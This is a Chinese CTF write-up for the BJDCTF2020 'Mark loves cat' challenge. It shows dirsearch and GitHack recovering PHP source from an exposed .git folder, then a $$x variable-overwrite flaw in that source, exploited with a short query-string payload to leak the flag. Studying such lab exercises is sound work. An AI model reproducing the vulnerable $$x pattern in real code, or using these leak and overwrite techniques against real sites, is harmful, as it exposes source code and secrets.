[第二章][2.3.4 案例解析][BJDCTF2020]Mark loves cat1

知识点:

1、git泄露漏洞

2、变量覆盖漏洞

打开靶机,翻到地步发现有输入框:

以为是一个sql注入或者xss,然而点击提交后直接回到了标题页面,后续发现页面所有按钮都是网页标题的链接,无法,抓个包看,啥也没。直接上dirsearch看看有无备份文件啥的: 

python dirsearch.py -u "http://2495945c-428a-4ca3-b447-853aa12ca71b.node4.buuoj.cn:81/" -e --timeout=2 -t 1 -x 400,403,404,500,503,429

 

 好家伙,git泄露(git是一个版本控制工具,当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞)直接用githack下源码

python githack.py http://2495945c-428a-4ca3-b447-853aa12ca71b.node4.buuoj.cn/.git/

有一个flag.php(无用)和index.php,审计index.php,下面给出了源代码及解题思路


<?php
include "flag.php";

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){//将$_POST传递的数据当成一个数组(我更愿意叫它字典,其实就是一个个键值对)并遍历
    $$x = $y;//$$相当于将变量值化为变量名,例如:$x='handsome',$$x就相当于$handsome,
    //这里将每个值变为一个变量,并赋原值,如传递?flag='handsome',到这一步就是 $handsome = 'handsome'
    //容易发现我们可以利用此处,任意创建变量并赋值,存在变量覆盖漏洞
}

foreach($_GET as $x => $y){//同上理解即可
    $$x = $$y;

}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
        //这里exit函数打印了handsome变量,利用变量覆盖漏洞,将$handsome的值改为$flag的值
        //payload为?handsome=flag&flag=handsome
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;

payload为 handsome=flag&flag=handsome 

 

 

 附上手写分析一张

 

 over

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值